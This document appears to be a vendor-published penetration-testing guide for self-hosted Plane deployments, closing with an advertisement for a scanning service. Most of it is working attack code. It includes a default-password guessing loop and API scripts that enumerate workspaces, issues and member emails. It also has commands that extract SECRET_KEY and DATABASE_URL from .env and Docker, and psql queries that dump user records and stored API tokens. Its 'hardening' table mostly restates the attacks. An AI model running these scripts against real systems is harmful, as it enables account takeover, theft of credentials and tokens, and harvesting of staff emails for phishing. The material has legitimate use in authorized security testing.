Plane Security Testing: Default Credentials, API Token, Database, and .env SECRET_KEY

Plane is a widely deployed open-source project management platform (Linear/Jira alternative) built with Django REST Framework and Next.js, used by engineering teams to track issues, manage sprints, and coordinate development work — it contains all project issues, comments, attachments, and team member data. Key assessment areas: SECRET_KEY in .env is the Django secret key used for session signing and CSRF token generation; DATABASE_URL contains the PostgreSQL connection string; the Plane REST API allows enumeration of all workspaces, projects, and issues accessible to the authenticated user; API tokens are stored in the database; and cross-workspace access controls should be verified for multi-tenant deployments. This guide covers systematic Plane security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. API Workspace, Project, and Issue Enumeration
  3. .env Credential Extraction and Database Access
  4. Plane Security Hardening

Authentication and API Token Testing

# Plane — authentication and API token testing
PLANE_URL="https://plane.example.com"

# Plane login — email/password authentication
AUTH_RESPONSE=$(curl -s -X POST "${PLANE_URL}/auth/sign-in/" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"admin"}' 2>/dev/null)

TOKEN=$(echo "$AUTH_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'access_token' in d:
    print(d['access_token'])
elif 'token' in d:
    print(d['token'])
else:
    print(f'FAIL: {list(d.keys())}')
" 2>/dev/null)

echo "Token: ${TOKEN}"

# Plane API token (personal access token) — generated in profile settings
API_TOKEN="your-plane-api-token"

# Verify token
curl -s "${PLANE_URL}/api/v1/users/me/" \
  -H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'User: {d.get(\"display_name\")} ({d.get(\"email\")})')
print(f'ID: {d.get(\"id\")} role={d.get(\"role\")}')
" 2>/dev/null

# Try common default passwords
for PASS in "admin" "plane" "password" "changeme" "123456"; do
  STATUS=$(curl -s -X POST "${PLANE_URL}/auth/sign-in/" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'access_token' in d or 'token' in d else 'FAIL')" 2>/dev/null)
  echo "admin@example.com/${PASS}: ${STATUS}"
done

API Workspace, Project, and Issue Enumeration

# Plane REST API — workspace, project, and issue enumeration
PLANE_URL="https://plane.example.com"
API_TOKEN="your-plane-api-token"

# List all workspaces
curl -s "${PLANE_URL}/api/v1/workspaces/" \
  -H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
workspaces = d.get('results',[]) if isinstance(d,dict) else d
print(f'Workspaces: {len(workspaces)}')
for w in workspaces:
    print(f'  [{w.get(\"id\")}] {w.get(\"name\")} slug={w.get(\"slug\")} members={w.get(\"total_members\")}')
" 2>/dev/null

WORKSPACE_SLUG="your-workspace-slug"

# List all projects in workspace
curl -s "${PLANE_URL}/api/v1/workspaces/${WORKSPACE_SLUG}/projects/" \
  -H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('results',[]) if isinstance(d,dict) else d
print(f'Projects: {len(projects)}')
for p in projects:
    print(f'  [{p.get(\"id\")}] {p.get(\"name\")} network={p.get(\"network\")} issues={p.get(\"total_issues\")}')
" 2>/dev/null

PROJECT_ID="your-project-id"

# List all issues in a project — task content and descriptions
curl -s "${PLANE_URL}/api/v1/workspaces/${WORKSPACE_SLUG}/projects/${PROJECT_ID}/issues/?per_page=100" \
  -H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
issues = d.get('results',[]) if isinstance(d,dict) else d
total = d.get('total_count',len(issues)) if isinstance(d,dict) else len(issues)
print(f'Issues: {total} total, showing {len(issues)}')
for i in issues[:10]:
    desc = str(i.get('description_html',''))[:80].replace('<','').replace('>','')
    print(f'  [{i.get(\"sequence_id\")}] {i.get(\"name\")} state={i.get(\"state_detail\",{}).get(\"name\")}')
    if desc:
        print(f'    {desc}')
" 2>/dev/null

# List workspace members — all team member emails
curl -s "${PLANE_URL}/api/v1/workspaces/${WORKSPACE_SLUG}/members/" \
  -H "X-Api-Key: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
members = d.get('results',[]) if isinstance(d,dict) else d
print(f'Members: {len(members)}')
for m in members[:10]:
    u = m.get('member',{})
    print(f'  [{u.get(\"id\")}] {u.get(\"display_name\")} email={u.get(\"email\")} role={m.get(\"role\")}')
" 2>/dev/null

.env Credential Extraction and Database Access

# Plane .env credential extraction and database access

# .env file — Django secrets and database credentials
cat /app/.env 2>/dev/null | grep -E "SECRET_KEY|DATABASE_URL|REDIS_URL|AWS|STORAGE|EMAIL"
# SECRET_KEY — Django secret key (session signing, CSRF tokens, signed cookies)
# DATABASE_URL — PostgreSQL connection string with password
# REDIS_URL — Redis connection (may include auth password)

# Docker deployment
docker inspect plane-api 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','DATABASE','REDIS','AWS','SMTP','PASSWORD']):
            print(e)
" 2>/dev/null

# PostgreSQL direct access — users and API tokens
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
-- All Plane users with email and avatar
SELECT id, email, display_name, first_name, last_name,
       is_superuser, is_active, date_joined, last_login
FROM users_user
ORDER BY is_superuser DESC, date_joined DESC
LIMIT 20;
EOF

# API tokens stored in database
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT at.id, at.token, at."userId", u.email,
       at.label, at."createdAt", at."updatedAt"
FROM api_tokens at
JOIN users_user u ON at."userId" = u.id
ORDER BY at."updatedAt" DESC
LIMIT 20;
EOF
# token column — Plane API token value

# All workspaces and their configurations
psql "$DATABASE_URL" 2>/dev/null << 'EOF'
SELECT id, name, slug, created_at,
       "totalMembers", "totalProjects"
FROM workspaces_workspace
LIMIT 20;
EOF

Plane Security Hardening

Plane Security Hardening Checklist:
Security TestMethodRisk
Django SECRET_KEY extraction and session forgeryRead .env SECRET_KEY — Django session signing key; forge valid Django session cookies as any Plane user bypassing password authentication entirelyCritical
API workspace and issue enumerationGET /api/v1/workspaces — all workspaces; GET /api/v1/workspaces/slug/projects/id/issues — all issues with descriptions; complete view of development priorities, bug reports, and internal project discussionsHigh
DATABASE_URL credential extraction and PostgreSQL accessRead .env DATABASE_URL — full connection string with password; direct access to all Plane data including users, issues, comments, and API tokensCritical
API token extraction from databasePostgreSQL SELECT from api_tokens — token values for all active API keys; enables API access as any user without knowing their passwordCritical
Member email harvestingGET /api/v1/workspaces/slug/members — all workspace members with emails; enables targeted phishing and credential attacks against engineering team membersHigh

Automate Plane Security Testing

Ironimo tests Plane deployments for Django SECRET_KEY extraction and session token forgery, REST API workspace/project/issue enumeration, member email harvesting, DATABASE_URL PostgreSQL credential extraction, api_tokens table value extraction, admin credential exploitation, Docker environment variable credential exposure, workspace network visibility misconfiguration, cross-workspace access isolation testing, and Redis network exposure testing.

Start free scan